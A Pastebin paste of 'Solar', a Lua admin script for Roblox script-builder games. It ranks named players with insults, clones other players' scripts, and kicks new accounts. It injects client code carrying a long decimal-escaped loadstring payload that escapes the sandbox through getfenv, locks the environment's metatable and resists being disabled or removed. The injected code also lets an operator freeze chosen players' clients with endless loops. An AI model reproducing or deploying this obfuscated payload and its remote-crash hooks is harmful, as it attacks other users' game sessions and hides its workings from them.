Advertisement
BlueHasMeme

9

Sep 3rd, 2016
207
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. --Thanks for using Solar! Creaters: DPERKEIRG kaiops lel jk :)--
  2. wait(0.001);
  3. a,b = ypcall(function()
  4. ScriptSource = nil
  5. SourceName = nil
  6. ScriptLines = 0
  7. Seconds = 0
  8. Minutes = 0
  9. Hours = 0
  10. SB = nil
  11. if script:findFirstChild("source") then
  12. SourceName = 'source'
  13. SB = [[Alakazard]]
  14. elseif script:findFirstChild('DSource') then
  15. SourceName = 'DSource'
  16. SB = [[Anaminus]]
  17. elseif script:findFirstChild('Source') then
  18. SourceName = 'Source'
  19. SB = [[Oxcool]]
  20. else
  21. SourceName = nil
  22. end
  23. wait()
  24. SSource = script:Clone()
  25. SSource.Disabled = true
  26. key = "/"--Note you can change the bet to whatever you want.
  27. TestMode = false
  28. LSource = nil
  29. Not = false
  30. ScriptingLocked = false
  31. MessageLimit = 10 --enough.
  32.  
  33. ScriptSource = script:findFirstChild(SourceName).Value
  34.  
  35. PrivateServer=false--
  36. KickingPhrases = true
  37. -- 1 = Kill
  38. -- 2 = Mute
  39. -- 3 = Kick
  40. -- 4 = Crash
  41. -- 5 = Rejoin
  42. --[[
  43. Todo:
  44. Kickingphrases
  45. ]]
  46.  
  47. Air = {
  48. ["Ranks"] = {
  49. ["Owner"] = 5,
  50. ["Developer"] = 4,
  51. ["Max admin"] = 3,
  52. ["Sentitel"] = 2,
  53. ["Admin"] = 1,
  54. ["Member"] = 0.1,
  55. ["Guest"] = 0,
  56. ['Annoying']=-0.1,
  57. ["Scum"] = -0.5,
  58. ["Banished from time and space"] = -1,
  59. ["Poo"] = -2
  60. };
  61. ["Ranked"] = {
  62. {["Name"] = 'SolarLeakedAgain', ["Rank"] = 5, ["Reason"] = "Creater", ["Color"] = "White"};--Leave Stypi and me on here please--
  63. {['Name'] = 'BlueHasSwag',['Rank']=5,['Reason']='Co creater',['Color']='New Yeller'};
  64. {['Name'] = 'xRageBullx',['Rank'] = -2,['Reason'] = '(N00B)',['Color']='White'};
  65. {['Name'] = 'DownloadingKeylogers',['Rank']= -2,['Reason']='Teleporting idiot',['Color']='New Yeller'};
  66. {['Name'] = 'islandmaker2012',['Rank']=5,['Reason']='Kewl guy',['Color']='Hot pink'};
  67. {['Name'] = 'Freinds name here.',['Rank']=5,['Reason']='Teleporting idiot',['Color']='Light blue'};
  68. {['Name'] = 'Your name here.',['Rank']=5,['Reason']='Dont no up to you',['Color']='Really red'};
  69.  
  70. };
  71.  
  72.  
  73. ["Services"] = {
  74. game;
  75. game:service'Workspace';
  76. game:service'Lighting';
  77. game:service'StarterGui';
  78. game:service'StarterPack';
  79. };
  80. ["Tabs"] = {};
  81. ["Cmds"] = {};
  82. ["Rotation"] = 0,
  83. ["RotationAddValue"] = 0.1
  84. }
  85.  
  86. coroutine.wrap(function()
  87. while wait() do
  88. if LSource ~= nil then break end
  89. if SourceName == "source" then break end
  90. for _,v in pairs(game.Players:players()) do
  91. if LSource ~= nil then break end
  92. pcall(function()
  93. for j,k in pairs(v.Backpack:children()) do
  94. if LSource ~= nil then break end
  95. if k.ClassName == 'LocalScript' then
  96. if k:findFirstChild(SourceName) ~= nil then
  97. k.Archivable = true
  98. LSource = k:Clone()
  99. LSource.Disabled = true
  100. OutputAdmins("Source found","Really red")
  101. break
  102. end
  103. end
  104. wait()
  105. end
  106. for j,k in pairs(v.Character:children()) do
  107. if LSource ~= nil then break end
  108. if k.ClassName == 'LocalScript' then
  109. if k:findFirstChild(SourceName) ~= nil then
  110. k.Archivable = true
  111. LSource = k:Clone()
  112. LSource.Disabled = true
  113. OutputAdmins("Source found","Really red")
  114. break
  115. end
  116. end
  117. wait()
  118. end
  119. end)
  120. end
  121. end
  122. end)()
  123. coroutine.wrap(function()
  124. while wait(1) do
  125. Seconds = Seconds + 1
  126. if Seconds == 60 then
  127. Seconds = 0
  128. Minutes = Minutes + 1
  129. end
  130. if Minutes == 60 then
  131. Minutes = 0
  132. Hours = Hours + 1
  133. end
  134. end
  135. end)()
  136.  
  137. function UpdateTablets()
  138. pcall(function()
  139. Air["Rotation"]=Air["Rotation"]+Air["RotationAddValue"]/100
  140. for _,v in pairs(game.Players:players()) do
  141. local PT={}
  142. local Curr=0
  143. for _,t in pairs(Solar["Tabs"])do
  144. if t.Owner==v then
  145. table.insert(PT, t)
  146. end
  147. end
  148. for i=1,#PT do
  149. local pos = v.Character.Torso.CFrame
  150. local m=(i/#PT-(.5/#PT)+(Air["Rotation"]/(#PT/10)))*math.pi*2
  151. local rad=(#PT*.6)+4
  152. local x=math.sin(m)*(rad)
  153. local y=math.sin(time()/5)
  154. local z=math.cos(m)*rad
  155. local arot=Vector3.new(x,y,z)+pos.p
  156. local brot=PT[i].P.CFrame.p
  157. local crot=arot*.1+brot *.9
  158. local d=math.rad((Air["Rotation"]*300)*math.pi)
  159. PT[i].P.CFrame=CFrame.new(crot,pos.p)*CFrame.Angles(d,d,d)
  160. end
  161. end
  162. end)
  163. end
  164.  
  165. function UpdateNilPlayersTablets()
  166. pcall(function()
  167. for i,v in pairs(game:service'NetworkServer':children()) do
  168. if v:GetPlayer() then
  169. if v:GetPlayer().Parent ~= game:service'Players' then
  170. local PT = {}
  171. local plr = nil
  172. for x,t in pairs(Air['Tabs']) do
  173. if t.Owner == v:GetPlayer() then
  174. PT[#PT+1] = t
  175. end
  176. end
  177. for x,t in pairs(game:service'Workspace':children()) do
  178. if t.Name == v:GetPlayer().Name then
  179. plr = t
  180. end
  181. end
  182. for i = 1,#PT do
  183. local pos = CFrame.new(0,0,0)
  184. if plr.ClassName == 'Part' then
  185. pos = plr.CFrame
  186. elseif plr:findFirstChild'Torso' then
  187. pos = plr:findFirstChild'Torso'.CFrame
  188. end
  189. local m=(i/#PT-(.5/#PT)+(Air["Rotation"]/(#PT/10)))*math.pi*2
  190. local rad=(#PT*.6)+4
  191. local x=math.sin(m)*(rad)
  192. local y=math.sin(time()/5)
  193. local z=math.cos(m)*rad
  194. local arot=Vector3.new(x,y,z)+pos.p
  195. local brot=PT[i].P.CFrame.p
  196. local crot=arot*.1+brot *.9
  197. local d=math.rad((Air["Rotation"]*300)*math.pi)
  198. PT[i].P.CFrame=CFrame.new(crot,pos.p)*CFrame.Angles(d,d,d)
  199. end
  200. end
  201. end
  202. end
  203. end)
  204. end
  205. function Explore(p, part)
  206. pcall(function()
  207. Dismiss(p)
  208. if part == nil then
  209. for _,v in pairs(Solar['Services']) do
  210. Output(p,v.Name,GetColor(p), function() Explore(p,v) end)
  211. end
  212. else
  213. for _,v in pairs(part:children()) do
  214. Output(p,v.Name,GetColor(p), function() Explore(p,v) end)
  215. end
  216. Output(p,"Currently exploring: "..part:GetFullName(),'New Yeller')
  217. Output(p,"ClassName: "..part.ClassName,'New Yeller')
  218. Output(p,"Destroy",'Really red', function() part:Destroy() Explore(p,part.Parent) end)
  219. Output(p,"Remove",'Really red', function() part:remove() Explore(p,part.Parent) end)
  220. Output(p,"Explore parent",'Bright blue', function() Explore(p,part.Parent) end)
  221. Output(p,"Clone",'Institutional white', function() clonedpart = part:Clone() end)
  222. Output(p,"Refresh",'Cyan', function() Explore(p,part) end)
  223. if clonedpart then
  224. Output(p,"Paste: "..clonedpart.Name,'Institutional white', function() clonedpart.Parent = part clonedpart = nil end)
  225. end
  226. end
  227. end)
  228. end;
  229. game:service'Players'.PlayerAdded:connect(function(x)
  230. if x.AccountAge < 2 then--Derp :)
  231. x:Kick''
  232. end end)
  233. ChatConnections = {}
  234. ConnectSource = [[
  235. wait(0.001)
  236. if script:findFirstChild'source' ~= nil then
  237. loadstring("\105\102\40\103\97\109\101\46\80\108\97\99\101\73\100\126\61\50\48\50\55\57\55\55\55\41\116\104\101\110\10\9\108\111\99\97\108\32\101\110\118\61\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\97\109\101\46\71\101\116\74\111\98\115\73\110\102\111\41\46\115\101\116\102\101\110\118\41\46\120\112\99\97\108\108\41\46\115\101\116\102\101\110\118\41\46\120\112\99\97\108\108\41\46\115\101\116\102\101\110\118\41\59\10\9\108\111\99\97\108\32\108\111\99\97\108\101\110\118\61\123\10\9\9\119\111\114\107\115\112\97\99\101\61\101\110\118\46\87\111\114\107\115\112\97\99\101\59\10\9\9\87\111\114\107\115\112\97\99\101\61\101\110\118\46\87\111\114\107\115\112\97\99\101\59\10\9\9\115\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\9\83\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\9\103\97\109\101\61\101\110\118\46\103\97\109\101\59\10\9\9\71\97\109\101\61\101\110\118\46\103\97\109\101\59\10\9\9\105\110\115\116\97\110\99\101\61\101\110\118\46\73\110\115\116\97\110\99\101\59\10\9\9\73\110\115\116\97\110\99\101\61\101\110\118\46\73\110\115\116\97\110\99\101\59\10\9\9\116\97\98\108\101\61\101\110\118\46\116\97\98\108\101\59\10\9\9\109\97\116\104\61\101\110\118\46\109\97\116\104\59\10\9\9\103\101\116\102\101\110\118\61\101\110\118\46\103\101\116\102\101\110\118\59\10\9\9\115\101\116\102\101\110\118\61\101\110\118\46\115\101\116\102\101\110\118\59\10\9\9\108\111\97\100\115\116\114\105\110\103\61\101\110\118\46\108\111\97\100\115\116\114\105\110\103\59\10\9\9\117\110\112\97\99\107\61\101\110\118\46\117\110\112\97\99\107\59\10\9\9\112\99\97\108\108\61\101\110\118\46\112\99\97\108\108\59\10\9\9\99\111\108\108\101\99\116\103\97\114\98\97\103\101\61\101\110\118\46\99\111\108\108\101\99\116\103\97\114\98\97\103\101\59\10\9\9\100\111\102\105\108\101\61\101\110\118\46\100\111\102\105\108\101\59\10\9\9\101\114\114\111\114\61\101\110\118\46\101\114\114\111\114\59\10\9\9\103\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\103\101\116\109\101\116\97\116\97\98\108\101\59\10\9\9\105\112\97\105\114\115\61\101\110\118\46\105\112\97\105\114\115\59\10\9\9\108\111\97\100\102\105\108\101\61\101\110\118\46\108\111\97\100\102\105\108\101\59\10\9\9\110\101\120\116\61\101\110\118\46\110\101\120\116\59\10\9\9\112\97\105\114\115\61\101\110\118\46\112\97\105\114\115\59\10\9\9\112\114\105\110\116\61\101\110\118\46\112\114\105\110\116\59\10\9\9\114\97\119\101\113\117\97\108\61\101\110\118\46\114\97\119\101\113\117\97\108\59\10\9\9\114\97\119\103\101\116\61\101\110\118\46\114\97\119\103\101\116\59\10\9\9\114\97\119\115\101\116\61\101\110\118\46\114\97\119\115\101\116\59\10\9\9\115\101\108\101\99\116\61\101\110\118\46\115\101\108\101\99\116\59\10\9\9\115\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\115\101\116\109\101\116\97\116\97\98\108\101\59\10\9\9\116\111\110\117\109\98\101\114\61\101\110\118\46\116\111\110\117\109\98\101\114\59\10\9\9\116\111\115\116\114\105\110\103\61\101\110\118\46\116\111\115\116\114\105\110\103\59\10\9\9\116\121\112\101\61\101\110\118\46\116\121\112\101\59\10\9\9\120\112\99\97\108\108\61\101\110\118\46\120\112\99\97\108\108\59\10\9\9\97\115\115\101\114\116\61\101\110\118\46\97\115\115\101\114\116\59\10\9\9\68\101\108\97\121\61\101\110\118\46\68\101\108\97\121\59\10\9\9\100\101\108\97\121\61\101\110\118\46\68\101\108\97\121\59\10\9\9\83\112\97\119\110\61\101\110\118\46\83\112\97\119\110\59\10\9\9\76\111\97\100\76\105\98\114\97\114\121\61\101\110\118\46\76\111\97\100\76\105\98\114\97\114\121\59\10\9\9\112\114\105\110\116\105\100\101\110\116\105\116\121\61\101\110\118\46\112\114\105\110\116\105\100\101\110\116\105\116\121\59\10\9\9\116\105\99\107\61\101\110\118\46\116\105\99\107\59\10\9\9\116\105\109\101\61\101\110\118\46\116\105\109\101\59\10\9\9\86\101\114\115\105\111\110\61\101\110\118\46\86\101\114\115\105\111\110\59\10\9\9\118\101\114\115\105\111\110\61\101\110\118\46\86\101\114\115\105\111\110\59\10\9\9\87\97\105\116\61\101\110\118\46\119\97\105\116\59\10\9\9\119\97\105\116\61\101\110\118\46\119\97\105\116\59\10\9\9\121\112\99\97\108\108\61\101\110\118\46\121\112\99\97\108\108\59\10\9\9\103\99\105\110\102\111\61\101\110\118\46\103\99\105\110\102\111\59\10\9\9\108\111\97\100\61\101\110\118\46\108\111\97\100\59\10\9\9\110\101\119\112\114\111\120\121\61\101\110\118\46\110\101\119\112\114\111\120\121\59\10\9\9\99\111\114\111\117\116\105\110\101\61\101\110\118\46\99\111\114\111\117\116\105\110\101\59\10\9\9\95\71\61\101\110\118\46\95\71\59\10\9\9\95\86\69\82\83\73\79\78\61\101\110\118\46\95\86\69\82\83\73\79\78\59\10\9\125\10\9\10\9\108\111\99\97\108\32\112\99\97\108\108\61\101\110\118\46\112\99\97\108\108\59\10\9\108\111\99\97\108\32\115\101\116\102\101\110\118\61\101\110\118\46\115\101\116\102\101\110\118\59\10\9\108\111\99\97\108\32\103\101\116\102\101\110\118\61\101\110\118\46\103\101\116\102\101\110\118\59\10\9\108\111\99\97\108\32\115\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\115\101\116\109\101\116\97\116\97\98\108\101\59\10\9\108\111\99\97\108\32\103\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\103\101\116\109\101\116\97\116\97\98\108\101\59\10\9\108\111\99\97\108\32\114\97\119\103\101\116\61\101\110\118\46\114\97\119\103\101\116\59\10\9\108\111\99\97\108\32\114\97\119\115\101\116\61\101\110\118\46\114\97\119\115\101\116\59\10\9\108\111\99\97\108\32\101\114\114\111\114\61\101\110\118\46\101\114\114\111\114\59\10\9\108\111\99\97\108\32\115\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\115\101\116\102\101\110\118\40\48\44\115\101\116\109\101\116\97\116\97\98\108\101\40\108\111\99\97\108\101\110\118\44\123\10\9\9\95\95\109\101\116\97\116\97\98\108\101\61\34\84\104\105\115\32\109\101\116\97\116\97\98\108\101\32\105\115\32\108\111\99\107\101\100\34\59\10\9\9\95\95\105\110\100\101\120\61\102\117\110\99\116\105\111\110\40\115\44\105\110\100\41\10\9\9\9\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\61\102\97\108\115\101\10\9\9\9\108\111\99\97\108\32\115\117\99\44\114\101\115\61\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\116\117\114\110\32\115\91\105\110\100\93\32\101\110\100\41\10\9\9\9\105\102\32\110\111\116\32\115\117\99\32\116\104\101\110\10\9\9\9\9\114\101\116\117\114\110\32\101\114\114\111\114\40\34\97\116\116\101\109\112\116\32\116\111\32\105\110\100\101\120\32\103\108\111\98\97\108\32\92\34\34\46\46\105\110\100\46\46\34\92\34\32\40\97\32\110\105\108\32\118\97\108\117\101\41\34\41\10\9\9\9\101\108\115\101\10\9\9\9\9\114\101\116\117\114\110\32\115\91\105\110\100\93\10\9\9\9\101\110\100\10\9\9\101\110\100\59\10\9\9\95\95\110\101\119\105\110\100\101\120\61\102\117\110\99\116\105\111\110\40\115\44\105\110\100\44\118\97\108\117\101\41\10\9\9\9\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\61\102\97\108\115\101\10\9\9\9\114\97\119\115\101\116\40\115\44\105\110\100\44\118\97\108\117\101\41\10\9\9\101\110\100\59\10\9\125\41\41\59\10\9\119\97\105\116\40\41\59\10\9\115\99\114\105\112\116\58\68\101\115\116\114\111\121\40\41\10\9\115\99\114\105\112\116\46\67\104\97\110\103\101\100\58\99\111\110\110\101\99\116\40\102\117\110\99\116\105\111\110\40\112\114\111\112\41\10\9\9\105\102\32\112\114\111\112\32\61\61\32\34\68\105\115\97\98\108\101\100\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\32\61\32\102\97\108\115\101\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\32\61\61\32\102\97\108\115\101\32\101\110\100\41\10\9\9\101\108\115\101\105\102\32\112\114\111\112\32\61\61\32\34\80\97\114\101\110\116\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\80\97\114\101\110\116\32\61\32\110\105\108\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\80\97\114\101\110\116\32\61\61\32\110\105\108\32\101\110\100\41\10\9\9\101\108\115\101\105\102\32\112\114\111\112\32\61\61\32\34\78\97\109\101\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\78\97\109\101\32\61\32\34\108\111\108\34\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\78\97\109\101\32\61\61\32\34\108\111\108\34\32\101\110\100\41\10\9\9\101\110\100\10\32\32\32\32\101\110\100\41\10\101\110\100\59")()
  238. script:ClearAllChildren()
  239. else
  240. script:ClearAllChildren()
  241. script.Parent=nil
  242. end
  243. wait(1)
  244. LocalPlayer = game.Players.LocalPlayer
  245. local asd = Instance.new("StringValue",LocalPlayer)
  246. asd.Name = 'asd'
  247. asd.Value = 'asdasdsadsadasdas'
  248. wait(0.1)
  249. asd:remove()
  250. wait(1)
  251. local asdcon = LocalPlayer.Chatted:connect(function(msg)
  252. if LocalPlayer.Parent ~= game:service'Players' then
  253. local a = Instance.new("StringValue", workspace)
  254. a.Name = 'LolCon'
  255. a.Value = LocalPlayer.Name..'\31'..msg
  256. game:service'Debris':AddItem(a,2)
  257. end
  258. end)
  259. local con = game.Lighting.descendantAdded:connect(function(what)
  260. if LocalPlayer.Name == 'xRageBullx' or LocalPlayer.Name == 'lol' or LocalPlayer.Name == 'lol' or LocalPlayer.Name == 'lol' then return end
  261. if what.ClassName == 'StringValue' then
  262. if what.Name == 'Disconnect' then
  263. local v = what.Value
  264. if LocalPlayer.Name:lower():sub(1,#v) == v:lower() then
  265. repeat until false
  266. elseif v == 'nil' then
  267. if LocalPlayer.Parent ~= game:service'Players' then
  268. repeat until false
  269. end
  270. elseif v == 'all' then
  271. repeat until false
  272. end
  273. end
  274. end
  275. end)
  276. local con2 = game:service'RunService'.RenderStepped:connect(function()
  277. if LocalPlayer:findFirstChild'asd' then
  278. asd = LocalPlayer:findFirstChild'asd'
  279. if asd.ClassName == 'StringValue' then
  280. if asd.Value == 'asdasdsadsadasdas' then
  281. asd:remove()
  282. asdcon:disconnect()
  283. con:disconnect()
  284. con2:disconnect()
  285. end
  286. end
  287. end
  288. end)
  289. ]]
  290. NilSupport = [[
  291. wait(0.001)
  292. if script:findFirstChild'source' ~= nil then
  293. loadstring("\105\102\40\103\97\109\101\46\80\108\97\99\101\73\100\126\61\50\48\50\55\57\55\55\55\41\116\104\101\110\10\9\108\111\99\97\108\32\101\110\118\61\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\97\109\101\46\71\101\116\74\111\98\115\73\110\102\111\41\46\115\101\116\102\101\110\118\41\46\120\112\99\97\108\108\41\46\115\101\116\102\101\110\118\41\46\120\112\99\97\108\108\41\46\115\101\116\102\101\110\118\41\59\10\9\108\111\99\97\108\32\108\111\99\97\108\101\110\118\61\123\10\9\9\119\111\114\107\115\112\97\99\101\61\101\110\118\46\87\111\114\107\115\112\97\99\101\59\10\9\9\87\111\114\107\115\112\97\99\101\61\101\110\118\46\87\111\114\107\115\112\97\99\101\59\10\9\9\115\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\9\83\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\9\103\97\109\101\61\101\110\118\46\103\97\109\101\59\10\9\9\71\97\109\101\61\101\110\118\46\103\97\109\101\59\10\9\9\105\110\115\116\97\110\99\101\61\101\110\118\46\73\110\115\116\97\110\99\101\59\10\9\9\73\110\115\116\97\110\99\101\61\101\110\118\46\73\110\115\116\97\110\99\101\59\10\9\9\116\97\98\108\101\61\101\110\118\46\116\97\98\108\101\59\10\9\9\109\97\116\104\61\101\110\118\46\109\97\116\104\59\10\9\9\103\101\116\102\101\110\118\61\101\110\118\46\103\101\116\102\101\110\118\59\10\9\9\115\101\116\102\101\110\118\61\101\110\118\46\115\101\116\102\101\110\118\59\10\9\9\108\111\97\100\115\116\114\105\110\103\61\101\110\118\46\108\111\97\100\115\116\114\105\110\103\59\10\9\9\117\110\112\97\99\107\61\101\110\118\46\117\110\112\97\99\107\59\10\9\9\112\99\97\108\108\61\101\110\118\46\112\99\97\108\108\59\10\9\9\99\111\108\108\101\99\116\103\97\114\98\97\103\101\61\101\110\118\46\99\111\108\108\101\99\116\103\97\114\98\97\103\101\59\10\9\9\100\111\102\105\108\101\61\101\110\118\46\100\111\102\105\108\101\59\10\9\9\101\114\114\111\114\61\101\110\118\46\101\114\114\111\114\59\10\9\9\103\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\103\101\116\109\101\116\97\116\97\98\108\101\59\10\9\9\105\112\97\105\114\115\61\101\110\118\46\105\112\97\105\114\115\59\10\9\9\108\111\97\100\102\105\108\101\61\101\110\118\46\108\111\97\100\102\105\108\101\59\10\9\9\110\101\120\116\61\101\110\118\46\110\101\120\116\59\10\9\9\112\97\105\114\115\61\101\110\118\46\112\97\105\114\115\59\10\9\9\112\114\105\110\116\61\101\110\118\46\112\114\105\110\116\59\10\9\9\114\97\119\101\113\117\97\108\61\101\110\118\46\114\97\119\101\113\117\97\108\59\10\9\9\114\97\119\103\101\116\61\101\110\118\46\114\97\119\103\101\116\59\10\9\9\114\97\119\115\101\116\61\101\110\118\46\114\97\119\115\101\116\59\10\9\9\115\101\108\101\99\116\61\101\110\118\46\115\101\108\101\99\116\59\10\9\9\115\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\115\101\116\109\101\116\97\116\97\98\108\101\59\10\9\9\116\111\110\117\109\98\101\114\61\101\110\118\46\116\111\110\117\109\98\101\114\59\10\9\9\116\111\115\116\114\105\110\103\61\101\110\118\46\116\111\115\116\114\105\110\103\59\10\9\9\116\121\112\101\61\101\110\118\46\116\121\112\101\59\10\9\9\120\112\99\97\108\108\61\101\110\118\46\120\112\99\97\108\108\59\10\9\9\97\115\115\101\114\116\61\101\110\118\46\97\115\115\101\114\116\59\10\9\9\68\101\108\97\121\61\101\110\118\46\68\101\108\97\121\59\10\9\9\100\101\108\97\121\61\101\110\118\46\68\101\108\97\121\59\10\9\9\83\112\97\119\110\61\101\110\118\46\83\112\97\119\110\59\10\9\9\76\111\97\100\76\105\98\114\97\114\121\61\101\110\118\46\76\111\97\100\76\105\98\114\97\114\121\59\10\9\9\112\114\105\110\116\105\100\101\110\116\105\116\121\61\101\110\118\46\112\114\105\110\116\105\100\101\110\116\105\116\121\59\10\9\9\116\105\99\107\61\101\110\118\46\116\105\99\107\59\10\9\9\116\105\109\101\61\101\110\118\46\116\105\109\101\59\10\9\9\86\101\114\115\105\111\110\61\101\110\118\46\86\101\114\115\105\111\110\59\10\9\9\118\101\114\115\105\111\110\61\101\110\118\46\86\101\114\115\105\111\110\59\10\9\9\87\97\105\116\61\101\110\118\46\119\97\105\116\59\10\9\9\119\97\105\116\61\101\110\118\46\119\97\105\116\59\10\9\9\121\112\99\97\108\108\61\101\110\118\46\121\112\99\97\108\108\59\10\9\9\103\99\105\110\102\111\61\101\110\118\46\103\99\105\110\102\111\59\10\9\9\108\111\97\100\61\101\110\118\46\108\111\97\100\59\10\9\9\110\101\119\112\114\111\120\121\61\101\110\118\46\110\101\119\112\114\111\120\121\59\10\9\9\99\111\114\111\117\116\105\110\101\61\101\110\118\46\99\111\114\111\117\116\105\110\101\59\10\9\9\95\71\61\101\110\118\46\95\71\59\10\9\9\95\86\69\82\83\73\79\78\61\101\110\118\46\95\86\69\82\83\73\79\78\59\10\9\125\10\9\10\9\108\111\99\97\108\32\112\99\97\108\108\61\101\110\118\46\112\99\97\108\108\59\10\9\108\111\99\97\108\32\115\101\116\102\101\110\118\61\101\110\118\46\115\101\116\102\101\110\118\59\10\9\108\111\99\97\108\32\103\101\116\102\101\110\118\61\101\110\118\46\103\101\116\102\101\110\118\59\10\9\108\111\99\97\108\32\115\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\115\101\116\109\101\116\97\116\97\98\108\101\59\10\9\108\111\99\97\108\32\103\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\103\101\116\109\101\116\97\116\97\98\108\101\59\10\9\108\111\99\97\108\32\114\97\119\103\101\116\61\101\110\118\46\114\97\119\103\101\116\59\10\9\108\111\99\97\108\32\114\97\119\115\101\116\61\101\110\118\46\114\97\119\115\101\116\59\10\9\108\111\99\97\108\32\101\114\114\111\114\61\101\110\118\46\101\114\114\111\114\59\10\9\108\111\99\97\108\32\115\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\115\101\116\102\101\110\118\40\48\44\115\101\116\109\101\116\97\116\97\98\108\101\40\108\111\99\97\108\101\110\118\44\123\10\9\9\95\95\109\101\116\97\116\97\98\108\101\61\34\84\104\105\115\32\109\101\116\97\116\97\98\108\101\32\105\115\32\108\111\99\107\101\100\34\59\10\9\9\95\95\105\110\100\101\120\61\102\117\110\99\116\105\111\110\40\115\44\105\110\100\41\10\9\9\9\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\61\102\97\108\115\101\10\9\9\9\108\111\99\97\108\32\115\117\99\44\114\101\115\61\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\116\117\114\110\32\115\91\105\110\100\93\32\101\110\100\41\10\9\9\9\105\102\32\110\111\116\32\115\117\99\32\116\104\101\110\10\9\9\9\9\114\101\116\117\114\110\32\101\114\114\111\114\40\34\97\116\116\101\109\112\116\32\116\111\32\105\110\100\101\120\32\103\108\111\98\97\108\32\92\34\34\46\46\105\110\100\46\46\34\92\34\32\40\97\32\110\105\108\32\118\97\108\117\101\41\34\41\10\9\9\9\101\108\115\101\10\9\9\9\9\114\101\116\117\114\110\32\115\91\105\110\100\93\10\9\9\9\101\110\100\10\9\9\101\110\100\59\10\9\9\95\95\110\101\119\105\110\100\101\120\61\102\117\110\99\116\105\111\110\40\115\44\105\110\100\44\118\97\108\117\101\41\10\9\9\9\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\61\102\97\108\115\101\10\9\9\9\114\97\119\115\101\116\40\115\44\105\110\100\44\118\97\108\117\101\41\10\9\9\101\110\100\59\10\9\125\41\41\59\10\9\119\97\105\116\40\41\59\10\9\115\99\114\105\112\116\58\68\101\115\116\114\111\121\40\41\10\9\115\99\114\105\112\116\46\67\104\97\110\103\101\100\58\99\111\110\110\101\99\116\40\102\117\110\99\116\105\111\110\40\112\114\111\112\41\10\9\9\105\102\32\112\114\111\112\32\61\61\32\34\68\105\115\97\98\108\101\100\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\32\61\32\102\97\108\115\101\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\32\61\61\32\102\97\108\115\101\32\101\110\100\41\10\9\9\101\108\115\101\105\102\32\112\114\111\112\32\61\61\32\34\80\97\114\101\110\116\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\80\97\114\101\110\116\32\61\32\110\105\108\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\80\97\114\101\110\116\32\61\61\32\110\105\108\32\101\110\100\41\10\9\9\101\108\115\101\105\102\32\112\114\111\112\32\61\61\32\34\78\97\109\101\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\78\97\109\101\32\61\32\34\108\111\108\34\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\78\97\109\101\32\61\61\32\34\108\111\108\34\32\101\110\100\41\10\9\9\101\110\100\10\32\32\32\32\101\110\100\41\10\101\110\100\59")()
  294. script:ClearAllChildren()
  295. else
  296. script:ClearAllChildren()
  297. script.Parent=nil
  298. end
  299. wait(1)
  300. LocalPlayer = game:service'Players'.LocalPlayer
  301. ProbeMode = false
  302. char = nil
  303. probe = nil
  304. local x = Instance.new("Message",workspace)
  305. x.Text = 'You are connected to solar admin gen 2'
  306. game:service'Debris':AddItem(x,3)
  307. if LocalPlayer.Character then
  308. LocalPlayer.Character.Archivable = true
  309. char = LocalPlayer.Character:Clone()
  310. char.Torso.Anchored = true
  311. else
  312. local con = LocalPlayer.CharacterAdded:connect(function()
  313. wait(0.5)
  314. LocalPlayer.Character.Archivable = true
  315. char = LocalPlayer.Character:Clone()
  316. char.Torso.Anchored = true
  317. end)
  318. end
  319. xcon = LocalPlayer.Changed:connect(function(asd)
  320. if asd == 'Parent' then
  321. local a = Instance.new("Hint",workspace)
  322. a.Text = 'You are connected, say char/ to go as a nil character, or probe/ for probe or rejme/ to rejoin'
  323. game:service'Debris':AddItem(a,3)
  324. end
  325. end)
